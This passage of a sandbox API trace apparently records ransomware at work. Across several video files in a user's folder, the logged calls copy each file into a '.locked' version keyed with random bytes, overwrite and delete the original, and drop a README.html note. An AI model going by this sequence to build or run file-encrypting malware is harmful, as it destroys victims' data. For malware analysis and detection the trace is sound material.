	[0080.904] SetEvent (hEvent=0x78) returned 1
	[0080.904] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x15bfb, lpOverlapped=0x0) returned 1
	[0080.906] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x15bfb, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x15bfb, lpOverlapped=0x0) returned 1
	[0080.908] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0080.908] CloseHandle (hObject=0xc4) returned 1
	[0080.908] CloseHandle (hObject=0xc0) returned 1
	[0080.908] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0080.909] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.909] SetEvent (hEvent=0x78) returned 1
	[0080.909] SetEvent (hEvent=0x8c) returned 1
	[0080.909] SetEvent (hEvent=0x80) returned 1
	[0080.909] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.909] SetEvent (hEvent=0xa8) returned 1
	[0080.909] SetEvent (hEvent=0x80) returned 1
	[0080.910] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416080*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12416080*, lpNumberOfCharsWritten=0x127ee83c*=0x3f) returned 1
	[0080.910] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\JdXl 0vS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\jdxl 0vs.mp4")) returned 1
	[0080.928] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.928] SetEvent (hEvent=0xa8) returned 1
	[0080.928] SetEvent (hEvent=0x8c) returned 1
	[0080.933] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.933] SetEvent (hEvent=0x8c) returned 1
	[0080.933] SetEvent (hEvent=0x80) returned 1
	[0080.933] SetEvent (hEvent=0x78) returned 1
	[0080.933] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.933] SetEvent (hEvent=0x78) returned 1
	[0080.935] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.935] SetEvent (hEvent=0x78) returned 1
	[0080.936] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.936] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.936] SetEvent (hEvent=0x78) returned 1
	[0080.936] SetEvent (hEvent=0x80) returned 1
	[0080.936] SetEvent (hEvent=0x8c) returned 1
	[0080.936] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.936] SetEvent (hEvent=0x8c) returned 1
	[0080.936] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\JdXl 0vS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\jdxl 0vs.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.937] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0080.937] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0080.953] CloseHandle (hObject=0xc0) returned 1
	[0080.953] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\JdXl 0vS.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\jdxl 0vs.mp4")) returned 1
	[0080.956] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\T0Kxm.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\t0kxm.mkv"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b43800, ftCreationTime.dwHighDateTime=0x1d4c5ab, ftLastAccessTime.dwLowDateTime=0xa86cbb00, ftLastAccessTime.dwHighDateTime=0x1d4c7f5, ftLastWriteTime.dwLowDateTime=0xa86cbb00, ftLastWriteTime.dwHighDateTime=0x1d4c7f5, nFileSizeHigh=0x0, nFileSizeLow=0xc7d3)) returned 1
	[0080.956] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\T0Kxm.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\t0kxm.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.956] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0080.956] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\T0Kxm.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\t0kxm.mkv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0080.956] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0080.957] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0080.957] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8160 | out: pbBuffer=0x127a8160) returned 1
	[0080.957] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416201 | out: pbBuffer=0x12416201) returned 1
	[0080.957] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0080.959] SetEvent (hEvent=0x80) returned 1
	[0080.959] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0xc7d3, lpOverlapped=0x0) returned 1
	[0080.961] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xc7d3, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0xc7d3, lpOverlapped=0x0) returned 1
	[0080.962] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0080.962] CloseHandle (hObject=0xc4) returned 1
	[0080.962] CloseHandle (hObject=0xc0) returned 1
	[0080.962] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0080.963] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.963] SetEvent (hEvent=0x80) returned 1
	[0080.963] SetEvent (hEvent=0x8c) returned 1
	[0080.963] SetEvent (hEvent=0x78) returned 1
	[0080.963] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.963] SetEvent (hEvent=0x78) returned 1
	[0080.963] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416080*, nNumberOfCharsToWrite=0x3c, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12416080*, lpNumberOfCharsWritten=0x127ee83c*=0x3c) returned 1
	[0080.964] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\T0Kxm.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\t0kxm.mkv")) returned 1
	[0080.982] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.983] SetEvent (hEvent=0xa8) returned 1
	[0080.983] SetEvent (hEvent=0x8c) returned 1
	[0080.987] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.987] SetEvent (hEvent=0x8c) returned 1
	[0080.987] SetEvent (hEvent=0x78) returned 1
	[0080.987] SetEvent (hEvent=0x80) returned 1
	[0080.987] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.988] SetEvent (hEvent=0x80) returned 1
	[0080.989] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.989] SetEvent (hEvent=0x80) returned 1
	[0080.990] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.990] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.990] SetEvent (hEvent=0x80) returned 1
	[0080.990] SetEvent (hEvent=0x78) returned 1
	[0080.990] SetEvent (hEvent=0x8c) returned 1
	[0080.990] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.991] SetEvent (hEvent=0x8c) returned 1
	[0080.991] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\T0Kxm.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\t0kxm.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.991] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0080.992] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.008] CloseHandle (hObject=0xc0) returned 1
	[0081.008] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\T0Kxm.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\t0kxm.mkv")) returned 1
	[0081.011] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x957144c0, ftCreationTime.dwHighDateTime=0x1d4ca80, ftLastAccessTime.dwLowDateTime=0xde44c2b0, ftLastAccessTime.dwHighDateTime=0x1d4c618, ftLastWriteTime.dwLowDateTime=0xde44c2b0, ftLastWriteTime.dwHighDateTime=0x1d4c618, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0081.012] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0081.012] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x957144c0, ftCreationTime.dwHighDateTime=0x1d4ca80, ftLastAccessTime.dwLowDateTime=0xde44c2b0, ftLastAccessTime.dwHighDateTime=0x1d4c618, ftLastWriteTime.dwLowDateTime=0xde44c2b0, ftLastWriteTime.dwHighDateTime=0x1d4c618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0081.012] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x957144c0, ftCreationTime.dwHighDateTime=0x1d4ca80, ftLastAccessTime.dwLowDateTime=0xde44c2b0, ftLastAccessTime.dwHighDateTime=0x1d4c618, ftLastWriteTime.dwLowDateTime=0xde44c2b0, ftLastWriteTime.dwHighDateTime=0x1d4c618, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.012] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee13ee0, ftCreationTime.dwHighDateTime=0x1d4cde3, ftLastAccessTime.dwLowDateTime=0x7113bd0, ftLastAccessTime.dwHighDateTime=0x1d4c7f2, ftLastWriteTime.dwLowDateTime=0x7113bd0, ftLastWriteTime.dwHighDateTime=0x1d4c7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb505, dwReserved0=0x0, dwReserved1=0x0, cFileName="IS20AICRjWCH0o_q.flv", cAlternateFileName="IS20AI~1.FLV")) returned 1
	[0081.012] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbed77740, ftCreationTime.dwHighDateTime=0x1d4cd95, ftLastAccessTime.dwLowDateTime=0x35d148c0, ftLastAccessTime.dwHighDateTime=0x1d4c81a, ftLastWriteTime.dwLowDateTime=0x35d148c0, ftLastWriteTime.dwHighDateTime=0x1d4c81a, nFileSizeHigh=0x0, nFileSizeLow=0x11848, dwReserved0=0x0, dwReserved1=0x0, cFileName="nqk87Dj5RjHYGagCqSHk.mkv", cAlternateFileName="NQK87D~1.MKV")) returned 1
	[0081.012] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910e7310, ftCreationTime.dwHighDateTime=0x1d4cdf2, ftLastAccessTime.dwLowDateTime=0x89e8260, ftLastAccessTime.dwHighDateTime=0x1d4c60c, ftLastWriteTime.dwLowDateTime=0x89e8260, ftLastWriteTime.dwHighDateTime=0x1d4c60c, nFileSizeHigh=0x0, nFileSizeLow=0x148dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="vVdSO.mkv", cAlternateFileName="")) returned 1
	[0081.012] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0081.012] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0081.012] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.014] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeccc | out: lpMode=0x127eeccc) returned 0
	[0081.014] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eecbc, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eecbc*=0xc5a, lpOverlapped=0x0) returned 1
	[0081.015] CloseHandle (hObject=0xc0) returned 1
	[0081.016] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4e, lpNumberOfCharsWritten=0x127ee84c, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee84c*=0x4e) returned 1
	[0081.016] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\IS20AICRjWCH0o_q.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\is20aicrjwch0o_q.flv"), fInfoLevelId=0x0, lpFileInformation=0x123fc288 | out: lpFileInformation=0x123fc288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee13ee0, ftCreationTime.dwHighDateTime=0x1d4cde3, ftLastAccessTime.dwLowDateTime=0x7113bd0, ftLastAccessTime.dwHighDateTime=0x1d4c7f2, ftLastWriteTime.dwLowDateTime=0x7113bd0, ftLastWriteTime.dwHighDateTime=0x1d4c7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb505)) returned 1
	[0081.017] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\IS20AICRjWCH0o_q.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\is20aicrjwch0o_q.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.017] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0081.017] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\IS20AICRjWCH0o_q.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\is20aicrjwch0o_q.flv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0081.018] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0081.018] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c2c0 | out: pbBuffer=0x1238c2c0) returned 1
	[0081.018] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a82a0 | out: pbBuffer=0x127a82a0) returned 1
	[0081.018] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416181 | out: pbBuffer=0x12416181) returned 1
	[0081.018] WriteFile (in: hFile=0xc4, lpBuffer=0x123e9000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x123e9000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0081.021] SetEvent (hEvent=0x78) returned 1
	[0081.021] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0xb505, lpOverlapped=0x0) returned 1
	[0081.022] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xb505, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0xb505, lpOverlapped=0x0) returned 1
	[0081.023] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0081.023] CloseHandle (hObject=0xc4) returned 1
	[0081.024] CloseHandle (hObject=0xc0) returned 1
	[0081.024] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.024] SetEvent (hEvent=0x78) returned 1
	[0081.024] SetEvent (hEvent=0x8c) returned 1
	[0081.024] SetEvent (hEvent=0x80) returned 1
	[0081.024] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.025] SetEvent (hEvent=0xa8) returned 1
	[0081.025] SetEvent (hEvent=0x80) returned 1
	[0081.025] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee7d8*=0x4d) returned 1
	[0081.026] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\IS20AICRjWCH0o_q.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\is20aicrjwch0o_q.flv")) returned 1
	[0081.044] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.044] SetEvent (hEvent=0xa8) returned 1
	[0081.044] SetEvent (hEvent=0x8c) returned 1
	[0081.048] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.049] SetEvent (hEvent=0x8c) returned 1
	[0081.049] SetEvent (hEvent=0x80) returned 1
	[0081.049] SetEvent (hEvent=0x78) returned 1
	[0081.049] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.049] SetEvent (hEvent=0x78) returned 1
	[0081.051] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.051] SetEvent (hEvent=0x78) returned 1
	[0081.051] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.051] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0081.052] SetEvent (hEvent=0x78) returned 1
	[0081.052] SetEvent (hEvent=0x80) returned 1
	[0081.052] SetEvent (hEvent=0x8c) returned 1
	[0081.052] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0081.052] SetEvent (hEvent=0x8c) returned 1
	[0081.052] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\IS20AICRjWCH0o_q.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\is20aicrjwch0o_q.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.053] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0081.053] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0081.069] CloseHandle (hObject=0xc0) returned 1
	[0081.069] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\IS20AICRjWCH0o_q.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\is20aicrjwch0o_q.flv")) returned 1
	[0081.072] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\nqk87Dj5RjHYGagCqSHk.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\nqk87dj5rjhygagcqshk.mkv"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbed77740, ftCreationTime.dwHighDateTime=0x1d4cd95, ftLastAccessTime.dwLowDateTime=0x35d148c0, ftLastAccessTime.dwHighDateTime=0x1d4c81a, ftLastWriteTime.dwLowDateTime=0x35d148c0, ftLastWriteTime.dwHighDateTime=0x1d4c81a, nFileSizeHigh=0x0, nFileSizeLow=0x11848)) returned 1
	[0081.072] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\nqk87Dj5RjHYGagCqSHk.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\nqk87dj5rjhygagcqshk.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0081.072] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0081.073] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DnZGaeHX\\tX6uC\\nqk87Dj5RjHYGagCqSHk.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dnzgaehx\\tx6uc\\nqk87dj5rjhygagcqshk.mkv.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0081.073] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0081.073] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0081.073] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8170 | out: pbBuffer=0x127a8170) returned 1
	[0081.073] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0081.073] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0081.075] SetEvent (hEvent=0x80) returned 1
	[0081.075] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x11848, lpOverlapped=0x0) returned 1
	[0081.078] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x11848, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x11848, lpOverlapped=0x0) returned 1
